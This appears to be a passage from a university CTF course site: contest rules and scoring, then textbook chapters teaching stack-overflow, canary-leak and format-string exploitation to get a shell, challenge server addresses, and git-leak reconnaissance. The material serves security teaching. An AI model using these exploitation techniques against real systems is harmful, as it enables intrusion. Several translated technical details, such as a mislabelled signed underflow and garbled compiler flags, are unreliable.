+则 John、Alice、Mashiro 的 Pwn2 靶机各 -50 分。Asuna 和 Emiria 的 Pwn2 靶机平分这减去的 150 分。即 Asuna 和 Emiria 每人各 +75 分。
+此时全部队伍的加分与扣分之和,依然为零。
+比赛时间在12月19日,下午17:00开始,至晚20:50结束。
+比赛安排分为三段:
+队伍环境:每一支队伍将会拥有两个靶机环境(docker),其中每个靶机有一种不同的服务,分别为二进制利用的pwn,以及集成了多项网络功能的web利用。通过端口与外界通信,也可以通过其他队伍靶机环境的端口访问其他队伍的服务,并进行攻击。
+如果要对自己的服务进行修复,需要通过SSH服务端口登录,示例代码为:
+$ ssh ctf@<ip> -p<port>
+
+比赛分数:
+score = min(max(AWD_score*(1+#bonus*0.1)*ratio, 0), score_cap)
+* score: final score of AWD part.
+* score_cap: content value 130.
+* AWD_score: score in the AWD competition.
+* ratio: AWD_score to score ratio, content value 3.25E-2.
+
+score = min(max(6626\*1.6\*0.0325, 0), 130) = min(max(136.552, 0), 130) = 130
,也就可以得到满分。比赛禁止的规则:
+比赛允许的规则:
+如果遇到了难以界定合法性的攻击方法,可以在比赛时提出意见。
+对比赛规则的违反将会导致成绩作废,严重情况下可能导致比赛重新开展,并且将会记录进入抄袭档案,情节特别严重的,将导致本门课程0分,且将会总结为文档发布给计算机系/图灵院。希望大家乐在参与,请勿考虑歪门邪道。
+如果对于比赛事项仍然有疑问,可以与TA(李照)进行讨论。
+ + + + + + + + +Students may be confused about the term "PWN". Because "PWN" does not mean something specific like Web or CRYPTO. In fact, "PWN" is an onomatopoeic word that represents the "bang" sound of a hacker gaining access to a computer through a vulnerability attack, and there is also a theory that "PWN" comes from the word "own" that controls a computer. There is also a theory that "PWN" comes from the word "own" which controls the computer. In short, the method or process of gaining access to a computer through a binary vulnerability is known as PWN.
+In CTF, PWN is mainly used to obtain flags by exploiting vulnerabilities in a program to cause memory corruption in order to obtain the shell of a remote computer. a more common form of PWN topic is to put an executable program written in C/C++ running on a target server, and the participant interacts with the server with data through the network. Because of the general vulnerability in the topic, an attacker can construct a program that sends malicious data to the remote server, causing the remote server program to execute the code the attacker wishes, thus taking control of the remote server.
+Reverse engineering is the basis of PWN, and the knowledge structure of both is similar. Therefore, sometimes binary security is used to refer to both reverse engineering and PWN. the threshold of entry to binary security is relatively high, requiring participants to study and accumulate for a long period of time and have a certain knowledge base before they can get started. This leads many beginners to give up before getting started. To get started in PWN, a certain foundation in reverse engineering is essential, which in turn leads to a further scarcity of PWN participants.
+The purpose of this chapter is to lead the student to get started, so it will focus on PWN vulnerability exploitation techniques. The part about the basics cannot be introduced in detail due to the limitation of space. If the student does not understand the process of learning, you can spend some time to understand the basics, and then go back to consider how to solve, it may be clear.
+The core knowledge of binary security consists of four main categories.
+1. Programming language and compilation principle
+Usually, the PWN topics in CTF will be written in C/C++ language. In order to write attack scripts, learning a scripting language like Python is also a must. In addition, the possibility of writing PWN questions in languages other than C/C++, such as Java or Lua, cannot be ruled out. Therefore, it is necessary for the participants to have a wide exposure to some mainstream languages. +For reverse engineering, how to decompile better and faster is a challenge. Whether it is manual disassembly or writing automated code analysis and vulnerability mining tools, knowledge of compilation principles is very beneficial.
+2. Assembly Language
+Assembly language, the core of reverse engineering, is also the first hurdle that PWN beginners have to face. If you get involved in the field of binary, assembly language is not bypassed. Only by understanding how the CPU works from the bottom can you understand why, through program vulnerabilities, an attacker can make the program execute the code set.
+3. Operating system and computer architecture
+The operating system, the core software running on the computer, is often the target of attackers PWN. To understand exactly how a program is executed and how it performs a variety of tasks, participants must learn about operating systems and computer architecture. In the CTF, many exploits and techniques also require the use of some features of the operating system to reach. Also, knowledge of operating systems is necessary to reverse and understand a program.
+4. Data structures and algorithms
+Programming is always about data structures and algorithms. If you want to understand the logic of program execution, it is necessary to understand the algorithms and data structures used.
+The above is not so much the core of binary security as it is the core knowledge of computer science. If we compare various vulnerability techniques to various moves in martial arts novels, this knowledge is the "internal" martial arts. Moves are easy to learn and limited, but the road to improve their "internal" is endless. The important thing to improve their own binary level is not to learn a variety of fancy use of skills, but to spend time to learn the basics.
+Unfortunately, some programmers and information security practitioners are often in a hurry to learn all kinds of vulnerability exploitation techniques. These core elements of computer science are not studied seriously instead. Students who sincerely hope to achieve good results in the CTF, and in the real reality of vulnerability mining, these basic content is often more important than a variety of exploitation techniques. Do not fall into the trap of only learning various PWN techniques by "building a platform out of sand".
+Most of the PWN topics in the current CTF use the Linux platform, so it is necessary to master the relevant Linux basics. The following is an introduction to the content of Linux that is closely related to PWN utilization.
+Like 32-bit Windows programs, 32-bit Linux programs follow the principle of stack balancing during operation, with ESP and EBP as stack pointer and frame pointer registers and EAX as return value. Based on the source code and compiled results (see Figure 6-1-1), it can be seen that the argument passing follows the traditional cdecl
calling convention, i.e., function arguments are put on the stack from right to left, and the function arguments are cleared by the caller.
64-bit Linux programs, on the other hand, use the fast call
calling method for passing parameters. The main difference between the 64-bit version compiled from the same source code and 32-bit is that the first six parameters of the function are passed in order using the RDI, RSI, RDX, RCX, R8, R9 registers, and if there are extra parameters, then the same stack is used for passing as in 32-bit, see Figure 6-1-2.
The PWN process also often requires direct calls to API functions provided by the operating system. Unlike in Windows, where the system API is called using the "win32 api" function, Linux is also characterized by its concise system calls.
+In the 32-bit Linux operating system, the system call requires the execution of the int 0x80
soft interrupt instruction. At this point, eax
stores the system call number, and the parameters of the system call are stored in EBX, ECX, EDX, ESI, EDI, EBP registers in turn. The return result of the call is stored in EAX. In fact, the system call can be regarded as a special function call, but using the int 0x80
instruction instead of the call instruction. the function address in the call instruction becomes the system call number stored in EAX, and the parameters are passed using registers instead. Compared to the 32-bit system, the 64-bit Linux system call instruction becomes syscall, the registers for passing parameters become RDI, RSI, RDX, R10, R8, R9, and the system call corresponding to the system call number is changed. An example for the read system call is shown in Figure 6-1-3.
There are only 300+ system calls available for the Linux operating system, and the number may increase in the future with the kernel version update, but it is quite streamlined compared to Windows' hefty API. As for the call number and the parameters that should be passed to each system call, the reader can consult the Linux help manual.
+The executable file format under Linux is ELF (Executable and Linkable Format), similar to the PE format of Windows. The ELF header includes the ELF magic code, the computer architecture in which the program is running, the program entry, etc. It can be read by the "readelf-h" command and is generally used to find the entry point of some programs. The ELF file consists of several sections (sections), in which various data are stored. The sections in ELF are used to store a variety of data, including:
+❖ .text section - holds all the code needed to run a program.
+❖ .rdata section - holds unmodifiable static data used by the program, such as strings.
+❖ .data section - holds data that can be modified by a program, such as global variables that have been initialized in C, etc.
+❖ .bss section - used to store program modifiable data, which, unlike .data, is not initialized and therefore does not occupy ELF space. Although the .bss section exists in the section header table, there is no corresponding data in the file. The system does not request an empty block of memory for the actual .bss section until after the program starts execution.
+❖ The .plt section and the .got section - these two sections are needed in conjunction with the program to call functions in the dynamic link library (SO file) to get the address of the called function.
+Due to the extensibility of the ELF format, it is even possible to create custom sections when compiling a linked program.ELF can actually include a lot of content unrelated to program execution, such as program version, Hash, or some symbolic debugging information. However, the operating system does not parse the information in ELF when executing an ELF program, but rather the ELF header and Program Head Table. The purpose of parsing the ELF header is to determine the instruction set architecture, ABI version, and other system support information of the program, and to read the program entry. Then, Linux parses the Program Head Table to determine which program segments need to be loaded. The program header table is actually an array of Program Head structures, each of which contains information about the segment's description. Like Windows, Linux also has a memory mapping file feature. When executing a program, the operating system needs to load the specified contents of the ELF file into the specified location in memory according to the segment information specified in the program header table. Therefore, the content of each program header mainly includes the segment type, its address in the ELF file, which address to load into memory, segment length, memory read/write attributes, etc.
+For example, the memory read/write attribute of the segment that holds code in ELF is readable and executable, while the segment that holds data is readable and writable or read-only, etc. Note that some segments may not have corresponding data content in the ELF file, such as uninitialized static memory. In order to compress the ELF file, only one field will exist in the program header table, and the operating system will perform the memory request and zero setting operations. The operating system also does not care about the exact contents in each segment, but simply loads each segment as required and points the PC pointer to the program entry.
+Here some people may be confused about the relationship between sections and segments and their difference, but in fact both are just two forms of explaining the data in ELF. Just like a person has multiple identities, ELF uses both segment and section formats to describe a piece of data, only with a different focus. The operating system doesn't need to care about the specific function of the data in ELF, it just needs to know which piece of data should be loaded into which piece of memory and the read/write properties of the memory, so it will divide the data according to segments.
+A compiler, debugger, or IDA needs to know what the data represents, so it parses the data by sections. Usually, sections are more subdivided than segments, e.g. .text, rdata are often divided into a segment. Some sections that are purely used to describe additional information about the program and have nothing to do with program operation will not even have a corresponding segment and will not be loaded into memory during program operation.
+Modern operating systems use a number of means to mitigate the risk of a computer being attacked by a vulnerability, which are collectively referred to as vulnerability mitigation measures.
+1. NX
+NX protection, also known as DEP in Windows, is the setting of permissions on program memory at the granularity of pages through the Memory Protect Unit (MPU) mechanism of modern operating systems, with the basic rule that writable and executable permissions are mutually exclusive. Therefore, it is not possible to execute arbitrary code directly using shellcode in a program with NX protection enabled. All memory that can be modified to write shellcode is not executable, and all code data that can be executed is not modifiable.
+NX protection is enabled by default in GCC and can be turned off by adding the "-z execstack" parameter at compile time.
+2. Stack Canary
+Stack Canary protection is a protection mechanism designed specifically for stack overflow attacks. Since the main goal of stack overflow attack is to overwrite the return address of the high bit of the function stack by overflow, the idea is to write a word-length random data before the function starts execution, that is, before the return address, and check whether the value is changed before the function returns, if it is changed, it is considered that a stack overflow has occurred. The program will terminate directly.
+GCC uses Stack Canary protection by default, and the way to turn it off is to add the "-fno-stack-protector" parameter at compile time.
+3. ASLR (Address Space Layout Randomization)
+The purpose of ASLR is to randomize the stack address of the program and the load address of the dynamic link library, which are not read/write executable unmapped memory between these addresses to reduce the attacker's knowledge of the program memory structure. In this way, even if the attacker has laid out the shellcode and can control the jump, it still cannot execute the shellcode because the memory address structure is unknown.
+ASLR is a system-level protection mechanism, and is turned off by modifying the contents of the /proc/sys/kernel/randomize_va_space file to 0.
+4. PIE
+Very similar to ASLR protection, the purpose of PIE protection is to allow randomized loading of the address of the executable ELF, thus making the memory structure of the program completely unknown to the attacker and further improving the security of the program.
+GCC is compiled with PIE enabled by adding the parameter "-fpic-pie". Newer versions of GCC have PIE enabled by default, and can be turned off by setting "-no-pie".
+5. Full Relro
+Full Relro protection is related to the Lazy Binding mechanism under Linux, and its main function is to prohibit the reading and writing of the .GOT.PLT table and some other related memory, thus preventing attackers from writing to the .GOT.PLT table to carry out attack exploitation means.
+GCC enables Full Relro by adding the parameter "-z relro".
+.GOT.PLT and .PLT are two special sections that are usually present in ELF files. ELF compilation cannot know the load address of dynamic link libraries such as libc. If a program wants to call a function in a dynamically linked library, it must use .GOT.PLT and .PLT in conjunction to complete the call.
+In Figure 6-1-4, call_printf does not jump to the location of the actual _printf function. Because the program does not determine the address of the printf function at compile time, this call instruction actually jumps to the _printf entry in the .PLT table through a relative jump. Figure 6-1-5 shows the .PLT entries corresponding to _printf. All external dynamic link library functions used in ELF will have corresponding .PLT entries.
+ + +The .PLT table is also a piece of code that retrieves an address from memory and jumps to it. The address is the actual address of _printf, and the place where the actual address of the _printf function is stored is the .GOT.PLT table in Figure 6-1-6.
+ +.PLT table is actually an array of function pointers, which holds the addresses of all external functions used in ELF. The initialization of the .GOT.PLT table is done by the operating system.
+Of course, due to the very special Lazy Binding mechanism of Linux. .GOT.PLT table is initialized during the first call to the function in ELF without Full Rello enabled. That is, a function must have been called before the real address of the function is stored in the .GOT.PLT table. The Lazy Binding mechanism is not discussed here, interested students can check the relevant information by themselves.
+.GOT.PLT and .PLT are useful for PWN? .PLT can directly call some external function, which will be of great help in the subsequent introduction of stack overflow. Second, since .GOT.PLT usually stores the address of a function in libc, you can get the address of libc by reading .GOT.PLT in the exploit, or control the execution flow of the program by writing . GOT.PLT for vulnerability exploitation is very common in CTF.
+Integer overflow is a relatively simple element in PWN, of course, it does not mean that the topic of integer overflow is relatively simple, just that integer overflow itself is not very complex, the situation is less. But integer overflow itself is not exploitable, and needs to be combined with other means to achieve the purpose of exploitation.
+Computers do not store infinitely large integers, and the values represented by integer types in computers are only a subset of natural numbers. For example, in a 32-bit C program, the length of the unsigned int type is 32 bits, and the largest number that can be represented is 0xffffffff. If this number is added by 1, the result 0x100000000 will exceed the range that can be represented by 32 bits, and only the lower 32 bits can be intercepted, and eventually the number will become 0. This is unsigned overflow.
+There are 4 kinds of overflow cases in computers, taking 32-bit integers as an example.
+❖ Unsigned overflow: The unsigned number 0xffffffff plus 1 becomes 0.
+❖ Unsigned underflow: The unsigned number 0 minus 1 becomes 0xffffffff.
+❖ Signed overflow: The case where the signed positive number 0x7fffffff plus 1 becomes negative 0x80000000, i.e., decimal-2147483648.
+❖ Unsigned underflow: the case where the signed negative number 0x80000000 minus 1 becomes positive 0x7fffffff.
+In addition to this, direct conversion of signed numbers to unsigned numbers can result in abrupt changes in the size of integers. For example, the binary representation of the signed number -1 and the unsigned number 0xffffffff is the same, and a direct conversion of the two can cause the program to produce unintended effects.
+Although integer overflows are simple, they are not actually simple to exploit. Unlike memory corruptions such as stack overflows, which can be directly exploited by overwriting memory, integer overflows often require some conversion to overflow. There are two common conversions.
+1. integer overflow into buffer overflow
+An integer overflow can mutate a very small number into a very large number. For example, an unsigned underflow can turn a smaller number representing the buffer size into a very large integer by subtraction. This results in a buffer overflow.
+Another case is to bypass some length checks by entering a negative number. For example, some programs will use signed numbers to represent length. Then a negative number can be used to bypass the length limit check. Most system APIs use unsigned numbers to represent length, so the negative number will become a large positive number and lead to overflow.
+2. integer overflow to array overrun
+The idea of array overrun is very simple. In C, the operation of array indexing is achieved by simply adding the array pointer to the index, and does not check the bounds. Therefore, a very large index will access the data after the array, and if the index is negative, then it will also access the memory before the array.
+Usually, integer overflows to array bounds are more common. In the process of array indexing, the array index is also multiplied by the length of the array element to calculate the actual address of the element. In the case of an array of type int, for example, the array index needs to be multiplied by 4 to calculate the offset. If the bounds check is bypassed by passing in a negative number, then normally only the memory before the array can be accessed. However, since the index is multiplied by 4, it is still possible to index the data after the array or even the entire memory space. For example, to index the contents at 0x1000 bytes after the array, just pass in the negative number -2147482624, which is expressed as 0x80000400 in hexadecimal numbers, and then multiply it by the element length 4, which is 0x00001000 due to the unsigned integer overflow result. as you can see, array overruns are easier to exploit compared to integer overflows to buffer overflows.
+The stack is a simple and classical data structure whose main feature is the use of first-in, last-out (FILO) access to the data on the stack. Generally, the last data placed on the stack is called the top of the stack, and the location where it is stored is called the top of the stack. The operation of storing data on the stack is called push, and the operation of removing data from the top of the stack is called pop. For more details about the stack, please refer to the data structure related materials.
+Since the sequence of function calls is such that the first function called returns last, the stack is ideal for storing intermediate variables and other temporary data used during the operation of a function.
+Currently, most major instruction architectures (x86, ARM, MIPS, etc.) support stack operations at the instruction set level and are designed with special registers to hold the top-of-stack addresses. In most cases, putting data on the stack will cause the top of the stack to grow from the high to the low address of memory.
+1. Stack Overflow Principle
+Stack overflow is one of the buffer overflows. Local variables of a function are usually stored on the stack. If these buffers overflow, it is a stack overflow. The most classic way to exploit stack overflow is to overwrite the return address of a function in order to hijack the control flow of the program.
+The x86 architecture typically uses the instruction call to call a function and the instruction ret to return. when the CPU executes the call instruction, it first puts the address of the next instruction of the current call instruction on the stack and then jumps to the called function. When the called function needs to return, it only needs to execute the ret instruction, and the CPU will come out with the address of the top of the stack and assign it to the EIP register. This address, which is used to tell the called function where it should return to the calling function, is called the return address. Ideally, the address taken out is the address deposited by the previous call to call. This allows the program to return to the parent function and continue execution. The compiler will always make sure that even if the child function uses the stack and modifies the top of the stack, it will restore the top of the stack to the state it was in when it first entered the function before the function returns, thus ensuring that the return address fetched will not be incorrect.
+ +Use the following command to compile the program of Example 6-3-1, turn off address randomization and stack overflow protection.
+gcc -fno-stack-protector stack.c -o stack -no-pie
+
+Run the program, debug with IDA, after entering 8 A, exit vuln function, the program executes ret instruction, the stack layout is shown in Figure 6-3-1. At this time, the top of the stack is saved 0x400579 that return address, after executing ret instruction, the program will jump to the location of 0x400579. Note that there is a string of 0x414141414141414141 above the return address, which is the 8 A's just entered. Since the get function does not check the length of the input data, it can increase the input until the return address is covered. From Figure 6-3-1, you can see that the return address is 18 bytes away from the first A. If you input more than 19 bytes, the return address will be overwritten.
+Analyzing this program with IDA, we can learn that the location of the shell function is 0x400537, and our purpose is to make the program jump to this function so as to execute system ("/bin/sh") to get a shell.
+In order to facilitate the input of some non-visible characters (such as address), here used to answer the PWN topic very useful tool pwntools, code comments will explain some of the commonly used functions, more specific instructions please refer to the official documentation.
+ +The attack script is as follows.
+ +Use IDA to attach to the process for trace debugging, just to the location of ret, the return address has been overwritten to 0x400537, continue to run the program will jump to the shell function, so as to obtain the shell (see Figure 6-3-2).
+ +2. Stack protection technology
+Stack overflows are very difficult to exploit and very harmful. In order to alleviate the growing security problems caused by stack overflows, compiler developers introduced the Canary mechanism to detect stack overflow attacks.
+Canary translates to canary in Chinese. The Canary protection mechanism is similar to this, by inserting a random number in front of the stack where rbp is stored, so that if an attacker uses a stack overflow vulnerability to overwrite the return address, it will also overwrite the Canary. The compiler adds a piece of code before the function ret instruction that will check if the value of Canary has been overwritten. If it is rewritten, an exception is thrown directly, interrupting the program and thus preventing the attack from occurring.
+But this method is not always reliable, as in Example 6-3-2.
+ +Enable stack protection at compile time.
+gcc stack2.c -no-pie -fstack-protector-all -o stack2
+
+When vuln function enters, it will take the value of Canary from fs:28, put it into the location of rbp-8, compare the value of rbp-8 with the value in fs:28 before the function exits, and if it is changed, call __stack_chk_fail function, output error message and exit the program (see Figure 6-3-3 and Figure 6-3-4).
+ + +But this program will print the input string before the vuln function returns, which will leak the Canary on the stack and thus bypass the detection. Here you can control the length of the string to just connect to the Canary, which will make the Canary and the string printed together by the puts function. Since the lowest byte of the Canary is 0x00, an extra character needs to be sent to overwrite 0x00 in order to prevent it from being truncated by 0.
+ +In the next input, the leaked canary can be written to the original address and then continue to overwrite the return address:
+ +The above example illustrates that even if the compiler has protection enabled, you still need to pay attention to prevent stack overflow when writing the program, otherwise it may be exploited by attackers, which can have serious consequences.
+3. Dangerous functions where stack overflows often occur
+By looking for dangerous functions, we can quickly determine if a program may have a stack overflow and where the stack overflow is located. The common dangerous functions are as follows.
+❖ Input: gets(), which reads a line directly up to the newline character '\n', while '\n' is converted to '\x00'; scanf(), which formats a string in which %s does not check the length; vscanf(), as above.
+❖ Output: sprintf(), writes the formatted content to the buffer, but does not check the buffer length.
+❖ String: strcpy(), stops when '\x00' is encountered, does not check the length, often prone to single-byte write 0 (off by one) overflow; strcat(), same as above.
+4. Available stack overflow coverage locations
+There are usually three types of stack overflow override locations available:
+① Override the function return address, the previous examples are controlled by overriding the return address program.
+② Overwrite the value of the BP register saved on the stack. The function will be called to save the stack site first, and then restore it when it returns, as follows (take x64 program as an example) When called.
+ +When returning: If the BP value on the stack is overwritten, the BP value of the main caller function will be changed after the function returns, and when the main caller function returns to the line ret, the SP will not point to the original return address location, but the BP location after being modified.
+③ Depending on the realistic execution, overwriting the content of a specific variable or address may lead to some logic vulnerabilities.
+On sale!
+This challenge must create a dynamic docker and connect via domain or DNS.
+Outside university nc 116.7.234.225 port
inside university nc 10.20.55.12 port
A heap of the heap.
+This challenge must create a dynamic docker and connect via domain or DNS.
+Outside university nc 116.7.234.225 port
inside university nc 10.20.55.12 port
(None)
+nc 103.102.44.94 8306
The commonly used formatted output functions in C are as follows:
+ + +Their usage is similar, and this section uses printf as an example. In C, the conventional usage of printf is:
+ +where the first parameter of the function with %d, %s, and other placeholders is called a formatted string, and the placeholders are used to specify how the output parameter values are formatted.
+The syntax of the placeholders is:
+ +parameter can be ignored or for n$, n means that this placeholder is the first parameter passed in.
+flags can be zero or more, mainly including:
+❖ +- always indicates a '+' or '-' for a signed value, ignores the sign of positive numbers by default, and applies only to numeric types.
+❖ Space - output of signed numbers is prefixed with 1 space if there is no plus or minus sign or 0 characters are output.
+❖ --Left justified, default is right justified.
+❖ # - For 'g' and 'G', the trailing 0 is not removed to indicate precision; for 'f', 'F', 'e', 'E', 'g', and 'G', the decimal point is always output; for 'o', 'x', and 'X', the prefix 0, 0x, and 0X are output before the non-zero value to indicate the number system, respectively.
+❖ 0- in front of the width option, indicating padding with 0.
+field width gives the minimum width of the displayed value, which is used to fill a fixed width when outputting. If the actual number of output characters is less than the field width, it will be filled according to left-aligned or right-aligned, and the negative sign is interpreted as left-aligned flag. If the domain width is set to "*", the value of the corresponding function parameter is the current domain width.
+precision usually specifies the maximum length of the output, depending on the specific formatting type:
+❖ For integer values of d, i, u, x, and o, the minimum number of digits, with any shortfall being filled with zeros on the left.
+❖ For floating-point values of a, A, e, E, f, and F, the number of digits displayed to the right of the decimal point.
+❖ For floating-point values of g, G, refers to the maximum number of significant digits.
+❖ For the string type of s, it refers to the upper limit of the output bytes.
+If the domain width is set to "*", the value of the corresponding function parameter is the precision current domain width.
+length indicates the length of the floating-point argument or integer argument:
+❖ hh-matches an integer argument of size int8 (1 byte).
+❖ h-Matches an integer argument of size int16 (2 bytes).
+❖ l-matches integer parameters of size long for integer types, double for floating point types, wchar_t pointer parameters for string s types, and wint_t parameters for character c types.
+❖ ll-matches integer parameters of size long long.
+❖ L-matches integer parameters of size long double.
+❖ z-Matches integer parameters of size_t size.
+❖ j-Matches integer parameters of size intmax_t.
+❖ t-matches an integer parameter of size ptrdiff_t.
+The type representation is as follows:
+❖ d, i-Signed decimal int values.
+❖ u-Decimal unsigned int value.
+❖ f, F-Decimal double values.
+❖ e, E-double value, the output form is "[-]d.ddd e[+/-]ddd" in decimal.
+❖ g, G-double values, with f or e format automatically selected depending on the size of the value.
+❖ x, X-hexadecimal unsigned int values.
+❖ o-Octal unsigned int value.
+❖ s-A string ending in \x00.
+❖ c-A char type character.
+❖ p-void* pointer type value.
+❖ a, A-double type hexadecimal representation, i.e., "[-]0xh.hhhh p±d", with the exponent part in the form of decimal representation.
+❖ n-Writes the number of characters that have been successfully output to the variable referred to by the corresponding integer pointer parameter.
+❖ %-'%' literal value, does not accept any flags, width, precision or length.
+If the formatted string of printf in the program is controllable, the printf function will take data from the register or stack corresponding to the location of the argument as an argument to read or write even if the corresponding argument is not filled in at the time of the call, which can easily result in arbitrary address reading and writing.
+The formatted string vulnerability allows for arbitrary memory reads and writes. Since function parameters are passed through the stack, the data on the stack can be leaked using "%X$p" (X is an arbitrary positive integer). Moreover, if you can control the data on the stack, you can write the address you want to leak on the stack in advance, and then use "%X$p" to output the address you want to leak as a string.
+In addition, since "%n" can write the number of characters that have been successfully output to the variable indicated by the corresponding integer pointer parameter, it is possible to arrange the address of the memory you want to write on the stack in advance. Then you can write to any memory by using "%Yc%X$n" (Y is the data you want to write).
+ +Compile the program in Example 6-5-1 with the following command:
+ +Set a breakpoint at printf, when RSP is exactly where we entered the string, i.e., the 6th argument (the first 5 arguments and formatted string of 64-bit Linux are passed by registers), and we enter "AAAAAAAAA%6$p".
+ +The program does output the 8 A's entered as pointer variables, and we can use this to leak information first.
+The stack contains the return address pressed in before __libc_start_main calls __libc_csu_init (see Figure 6-5-1), and based on this address, we can calculate the base address of libc, which can be calculated at the location of the 21st argument; similarly, _start is at the location of the 17th argument, through which we can calculate the base address of the fsb program. The base address of the fsb program can be calculated by using it.
+ + +Once you have the libc base address, you can calculate the address of the system function, and then modify the address of the printf function in the GOT table to the address of the system function. The next time you execute printf(format), you will actually execute system(format) and enter format as "/bin/sh" to get the shell. use the script as follows.
+ + +The script splits system's address (6 bytes) into 3 words (2 bytes) because if you output more than one int-type byte at a time, printf will output several gigabytes of data, which may be very slow when attacking a remote server, or cause a broken pipe (broken pipe). Note that in 64-bit programs, the address often accounts for only 6 bytes, that is, the high 2 bytes must be "\x00", so the 3 addresses must be placed at the end of the payload, and not at the top. Although placed at the top, the offset is better calculated, but printf output string is up to "\x00", the "\x00" in the address will truncate the string, after the placeholder used to write the address will not take effect.
+Sometimes the input string is not stored on the stack, so there is no way to directly address the stack to control the printf arguments, which is a relatively complicated situation.
+Because the program has the operation of pressing rbp onto the stack when calling a function or putting some pointer variables on the stack, there will be many pointers on the stack that hold the address on the stack, and it is easy to find three pointers p1, p2, p3, forming a situation where p1 points to p2 and p2 points to p3, then we can first use p1 to modify the lowest 1 byte of p2, which can make p2 point to p3 pointer 8 bytes of Any 1 byte and modify it, so that p3 can be modified byte by byte to become any value, indirectly controlling the data on the stack.
+ + +Compile the program of Example 6-5-2 with the following command:
+ +Set a breakpoint at printf, at this point the stack distribution is shown in Figure 6-5-2. The pointer saved at 0x7ffffffee030 points to 0x7ffffffee060, and the pointer saved at 0x7ffffffee060 points to 0x7ffffffee080, which satisfies the above requirements. These three pointers are at printf No. 10, 16, and 20 arguments. The program requests a block of memory to hold the input string before the loop executes 30 times of input and output, which will be released at the end of the loop and then exits the program. We can change the value at 0x7ffffffee080 to the address of the free function item in the GOT table, and change the function pointer there to the address of the system function. This way, when executing free (format), what is actually executed is system (format), just type "/bin/sh" to get the shell.
+ +The complete script is as follows:
+ + + +Formatting strings sometimes encounters some rare placeholders, such as "*" to take the value of the corresponding function argument as the width, printf ("%*d", 3, 1) to output " 1".
+ +As in Example 6-5-3, guessing the sum of two numbers, you can get the shell after guessing right. not considering the case of blasting, although the formatted string can leak the value of these two numbers, but the input is before the leak, after the leak has been unable to modify the guessed value, so you must use this opportunity to fill in the sum of a and b directly to num, which requires the use of placeholder "*".
+Set a breakpoint at printf(buf), at this point the data on the stack is shown in Figure 6-5-3. a and b numbers (0x1b2d and 0xc8e3 respectively) are in the 8th and 9th argument positions, and num_ptr is in the 11th argument position. a and b numbers are used as two output widths, and the number of characters output is the sum of a and b. Then use "% n" is written into num to achieve the effect of num==a+b.
+ +The script is as follows:
+ +Formatted strings utilize ultimately arbitrary address reading and writing, and a program that can do arbitrary address reading and writing is not far from full control.
+Sometimes programs turn on the Fortify protection mechanism so that all printf() is replaced by __printf_chk() when the program is compiled. The difference between the two is as follows:
+❖ When using positional arguments, you must use all arguments in the range and cannot print discontinuously using positional arguments. For example, to use "%3$x", you must use both "%1$x" and "%2$x".
+❖ A formatted string containing "%n" cannot be located at a writable address in memory.
+While it is difficult to write to arbitrary addresses at this point, it is possible to exploit arbitrary address reads for information leakage, which can be used in conjunction with other vulnerabilities.
+Read the flag from stack!
+This challenge must create a dynamic docker and connect via domain name
+detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
If you are lucky enough, you would win.
+This challenge must create a dynamic docker and connect via domain name
+detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
I just want to exit
instead of return
.
This challenge must create a dynamic docker and connect via domain name
+detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
In the traditional CTF online competition, Web class is one of the main types of questions, compared to binary, reverse and other types of questions, participants do not need to master the underlying knowledge of the system; compared to cryptography, miscellaneous issues, does not require a particularly strong programming skills, so it is easier to start. web class topics common types of vulnerabilities include injection, XSS, file inclusion, code execution, upload, SSRF, etc. This chapter will introduce the CTF online vulnerabilities.
+This chapter will introduce various common Web vulnerabilities in the CTF online competition, and through the analysis of relevant examples, the reader will have a relatively comprehensive understanding of the CTF online competition Web topics as much as possible. However, the classification of Web vulnerabilities is very complicated, so we hope that readers can learn about them on the Internet while reading this book, so that they can learn from one example to improve their own abilities.
+According to the frequency of vulnerabilities, the complexity of vulnerabilities, we will be divided into Web class topics into introductory, advanced, and expansion of the three levels of introduction. When explaining each level of vulnerability, we supplemented with relevant example problem analysis, so that readers can more intuitively understand the impact of different vulnerabilities in the CTF online competition Web class topics, from the shallow to deep understanding of Web class topics, clear their own skill deficiencies, so as to achieve the purpose of making up. This chapter starts from the "Getting Started" level and introduces the three most common types of vulnerabilities in the Web category, namely information gathering, SQL injection, and arbitrary file reading vulnerabilities.
+As the old saying goes, "If you know yourself and your enemy, you will never lose a hundred battles". In the Web category of the CTF online competition, information gathering covers a wide range of topics, including backup files, directory information, Banner information, etc. This requires participants to have a lot of experience or to use some scripts to help them find information and exploit vulnerabilities in the topic. This section will describe as much as possible the information collection contained in the Web category of the CTF online competition, and will also recommend some open source tools and software that have been tested by the authors.
+Because most of the information gathering is the use of tools (git leaks may involve the application of git commands), this chapter may not have much technical detail. At the same time, because there are more kinds of information gathering, this chapter will cover as much as possible, so please understand if there are any shortcomings; at the end, it will reflect the importance of information gathering through practical examples of competitions.
+Preliminary information gathering on the topic may have a very important role in solving the topic of CTF online competition. The following will talk about the basic information gathering from three aspects: sensitive directory, sensitive backup file, and Banner identification, and how to discover the direction of solving the problem in CTF online competition.
+Through sensitive directory leakage, we can often obtain the source code and sensitive URL addresses of websites, such as the backend address of websites, etc.
+1. git leakage
+[Vulnerability Introduction] git is a mainstream distributed version control system, developers often forget the .git folder in the development process, leading to attackers can obtain all the information in the .git folder that developers have submitted This allows attackers to access all the source code committed by the developer through the information in the .git folder, which may lead to the server being compromised by the attack.
+(1) Conventional git leaks Conventional git leaks:
+without any other operations, the participant can obtain the website source code or flags by using ready-made tools or scripts written by themselves. Here is a recommended tool: https://github.com/denny0223/scrabble, the use of which is also very simple.
+./scrabble http://example.com/
+
+Build the Web environment locally by yourself, see Figure 1-1-1.
+ +Run the tool, you can get the source code, get the flag, see Figure 1-1-2.
+ +(2) git rollback
+As a version control tool, git records every commit, so when there is a git leak, the flag (sensitive) file may be deleted or overwritten in the revision, then we can use git's "git reset" command to restore to the previous version. See Figure 1-1-3 for a local web environment.
+ +We first use the scrabble tool to get the source code, and then use the "git reset--hard HEAD^" command to jump to the previous version (in git, the current version is represented by HEAD, and the previous version is HEAD^) to get the source code, see Figure 1-1-4.
+ +In addition to using "git reset", a simpler way to see what files have been modified by each commit is to use the "git log-stat" command, and then use "git diff HEAD commit-id" to compare the changes between the current version and the commit you want to see.
+(3) git branches
